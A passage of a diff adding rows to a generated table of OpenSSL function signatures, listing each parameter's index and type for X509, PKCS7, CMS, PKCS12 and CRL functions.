+| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 4 | int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 4 | int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 5 | OSSL_LIB_CTX * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 6 | const char * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 4 | unsigned int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 4 | unsigned int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 5 | OSSL_LIB_CTX * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 6 | const char * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 0 | X509 * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 2 | const char * | +| (X509 *,SSL_CONNECTION *) | | ssl_check_srvr_ecc_cert_and_alg | 0 | X509 * | +| (X509 *,SSL_CONNECTION *) | | ssl_check_srvr_ecc_cert_and_alg | 1 | SSL_CONNECTION * | +| (X509 *,X509 *) | | X509_check_issued | 0 | X509 * | +| (X509 *,X509 *) | | X509_check_issued | 1 | X509 * | +| (X509 *,X509 *) | | ossl_x509_likely_issued | 0 | X509 * | +| (X509 *,X509 *) | | ossl_x509_likely_issued | 1 | X509 * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 0 | X509 * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 1 | X509_EXTENSION * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | int | +| (X509 *,const X509_NAME *) | | X509_set_issuer_name | 0 | X509 * | +| (X509 *,const X509_NAME *) | | X509_set_issuer_name | 1 | const X509_NAME * | +| (X509 *,const X509_NAME *) | | X509_set_subject_name | 0 | X509 * | +| (X509 *,const X509_NAME *) | | X509_set_subject_name | 1 | const X509_NAME * | +| (X509 *,const char *) | | x509_ctrl_string | 0 | X509 * | +| (X509 *,const char *) | | x509_ctrl_string | 1 | const char * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 0 | X509 * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 1 | const char * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 2 | size_t | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 3 | unsigned int | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 4 | char ** | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 0 | X509 * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 1 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 2 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 3 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 4 | uint32_t * | +| (X509 *,int) | | X509_delete_ext | 0 | X509 * | +| (X509 *,int) | | X509_delete_ext | 1 | int | +| (X509 *,int) | | X509_self_signed | 0 | X509 * | +| (X509 *,int) | | X509_self_signed | 1 | int | +| (X509 *,int,int) | | X509_check_purpose | 0 | X509 * | +| (X509 *,int,int) | | X509_check_purpose | 1 | int | +| (X509 *,int,int) | | X509_check_purpose | 2 | int | +| (X509 *,int,int) | | X509_check_trust | 0 | X509 * | +| (X509 *,int,int) | | X509_check_trust | 1 | int | +| (X509 *,int,int) | | X509_check_trust | 2 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 0 | X509 * | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 1 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 2 | void * | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 3 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 4 | unsigned long | +| (X509 *,long) | | X509_set_proxy_pathlen | 0 | X509 * | +| (X509 *,long) | | X509_set_proxy_pathlen | 1 | long | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 0 | X509 * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 1 | stack_st_X509 * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 2 | X509_STORE * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 3 | int | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 4 | OSSL_LIB_CTX * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 5 | const char * | +| (X509 *,unsigned char **) | | i2d_re_X509_tbs | 0 | X509 * | +| (X509 *,unsigned char **) | | i2d_re_X509_tbs | 1 | unsigned char ** | +| (X509V3_CTX *,CONF *) | | X509V3_set_nconf | 0 | X509V3_CTX * | +| (X509V3_CTX *,CONF *) | | X509V3_set_nconf | 1 | CONF * | +| (X509V3_CTX *,EVP_PKEY *) | | X509V3_set_issuer_pkey | 0 | X509V3_CTX * | +| (X509V3_CTX *,EVP_PKEY *) | | X509V3_set_issuer_pkey | 1 | EVP_PKEY * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 0 | X509V3_CTX * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 1 | X509 * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 2 | X509 * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 3 | X509_REQ * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 4 | X509_CRL * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 5 | int | +| (X509V3_CTX *,lhash_st_CONF_VALUE *) | | X509V3_set_conf_lhash | 0 | X509V3_CTX * | +| (X509V3_CTX *,lhash_st_CONF_VALUE *) | | X509V3_set_conf_lhash | 1 | lhash_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *) | | X509V3_EXT_add_list | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 1 | ASN1_BIT_STRING * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,ASN1_IA5STRING *) | | i2s_ASN1_IA5STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_IA5STRING *) | | i2s_ASN1_IA5STRING | 1 | ASN1_IA5STRING * | +| (X509V3_EXT_METHOD *,ASN1_UTF8STRING *) | | i2s_ASN1_UTF8STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_UTF8STRING *) | | i2s_ASN1_UTF8STRING | 1 | ASN1_UTF8STRING * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 1 | GENERAL_NAME * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 1 | GENERAL_NAMES * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 2 | const char * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 2 | const char * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,const ASN1_ENUMERATED *) | | i2s_ASN1_ENUMERATED_TABLE | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,const ASN1_ENUMERATED *) | | i2s_ASN1_ENUMERATED_TABLE | 1 | const ASN1_ENUMERATED * | +| (X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *) | | i2s_ASN1_OCTET_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *) | | i2s_ASN1_OCTET_STRING | 1 | const ASN1_OCTET_STRING * | +| (X509_ACERT *) | | X509_ACERT_free | 0 | X509_ACERT * | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 0 | X509_ACERT ** | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 1 | const unsigned char ** | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 2 | long | +| (X509_ACERT *,EVP_MD_CTX *) | | X509_ACERT_sign_ctx | 0 | X509_ACERT * | +| (X509_ACERT *,EVP_MD_CTX *) | | X509_ACERT_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 0 | X509_ACERT * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 1 | EVP_PKEY * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 2 | const EVP_MD * | +| (X509_ACERT *,X509_ATTRIBUTE *) | | X509_ACERT_add1_attr | 0 | X509_ACERT * | +| (X509_ACERT *,X509_ATTRIBUTE *) | | X509_ACERT_add1_attr | 1 | X509_ATTRIBUTE * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 0 | X509_ACERT * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 2 | int | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 3 | const void * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 4 | int | +| (X509_ACERT *,const X509_NAME *) | | X509_ACERT_set1_issuerName | 0 | X509_ACERT * | +| (X509_ACERT *,const X509_NAME *) | | X509_ACERT_set1_issuerName | 1 | const X509_NAME * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 0 | X509_ACERT * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 1 | const char * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 2 | int | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 3 | const unsigned char * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 4 | int | +| (X509_ACERT *,int) | | X509_ACERT_delete_attr | 0 | X509_ACERT * | +| (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 0 | X509_ACERT * | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 1 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 2 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 3 | const void * | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 4 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 0 | X509_ACERT * | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 1 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 2 | void * | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 3 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 4 | unsigned long | +| (X509_ACERT_INFO *) | | X509_ACERT_INFO_free | 0 | X509_ACERT_INFO * | +| (X509_ACERT_ISSUER_V2FORM *) | | X509_ACERT_ISSUER_V2FORM_free | 0 | X509_ACERT_ISSUER_V2FORM * | +| (X509_ALGOR *) | | X509_ALGOR_free | 0 | X509_ALGOR * | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_md_to_mgf1 | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_md_to_mgf1 | 1 | const EVP_MD * | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_new_from_md | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_new_from_md | 1 | const EVP_MD * | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 1 | const unsigned char ** | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 2 | long | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 0 | X509_ALGOR * | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 1 | ASN1_OBJECT * | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 2 | int | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 0 | X509_ALGOR * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 1 | const ASN1_ITEM * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 2 | const char * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 3 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 4 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 5 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 0 | X509_ALGOR * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 1 | const ASN1_ITEM * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 2 | const char * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 3 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 4 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 5 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 6 | OSSL_LIB_CTX * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 7 | const char * | +| (X509_ALGOR *,const EVP_MD *) | | X509_ALGOR_set_md | 0 | X509_ALGOR * | +| (X509_ALGOR *,const EVP_MD *) | | X509_ALGOR_set_md | 1 | const EVP_MD * | +| (X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_copy | 0 | X509_ALGOR * | +| (X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_copy | 1 | const X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 0 | X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 1 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 2 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 3 | const unsigned char * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 4 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 0 | X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 1 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 2 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 3 | const unsigned char * | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 4 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 5 | OSSL_LIB_CTX * | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 0 | X509_ALGORS ** | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 1 | const unsigned char ** | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 2 | long | +| (X509_ATTRIBUTE *) | | X509_ATTRIBUTE_free | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *) | | X509_ATTRIBUTE_get0_object | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 2 | int | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 3 | const void * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 4 | int | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 1 | const char * | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 2 | int | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 3 | const unsigned char * | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 4 | int | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 1 | const unsigned char ** | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 2 | long | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 1 | int | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 2 | int | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 3 | const void * | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 4 | int | +| (X509_ATTRIBUTE *,const ASN1_OBJECT *) | | X509_ATTRIBUTE_set1_object | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *,const ASN1_OBJECT *) | | X509_ATTRIBUTE_set1_object | 1 | const ASN1_OBJECT * | +| (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | int | +| (X509_CERT_AUX *) | | X509_CERT_AUX_free | 0 | X509_CERT_AUX * | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 0 | X509_CERT_AUX ** | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 1 | const unsigned char ** | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 2 | long | +| (X509_CINF *) | | X509_CINF_free | 0 | X509_CINF * | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 0 | X509_CINF ** | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 1 | const unsigned char ** | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 2 | long | +| (X509_CRL *) | | OSSL_STORE_INFO_new_CRL | 0 | X509_CRL * | +| (X509_CRL *) | | PKCS12_SAFEBAG_create_crl | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_free | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_REVOKED | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_lastUpdate | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_meth_data | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_nextUpdate | 0 | X509_CRL * | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 0 | X509_CRL ** | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 1 | const unsigned char ** | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 2 | long | +| (X509_CRL *,EVP_MD_CTX *) | | X509_CRL_sign_ctx | 0 | X509_CRL * | +| (X509_CRL *,EVP_MD_CTX *) | | X509_CRL_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 0 | X509_CRL * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 1 | EVP_PKEY * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 2 | const EVP_MD * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 0 | X509_CRL * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 2 | const char * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 0 | X509_CRL * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 1 | X509_CRL * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 2 | EVP_PKEY * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 3 | const EVP_MD * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 4 | unsigned int | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 0 | X509_CRL * | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 1 | X509_EXTENSION * | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | int | +| (X509_CRL *,const X509_NAME *) | | X509_CRL_set_issuer_name | 0 | X509_CRL * | +| (X509_CRL *,const X509_NAME *) | | X509_CRL_set_issuer_name | 1 | const X509_NAME * | +| (X509_CRL *,int) | | X509_CRL_delete_ext | 0 | X509_CRL * | +| (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 0 | X509_CRL * | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 1 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 2 | void * | +| (X509_CRL *,int,void *,int,unsigned 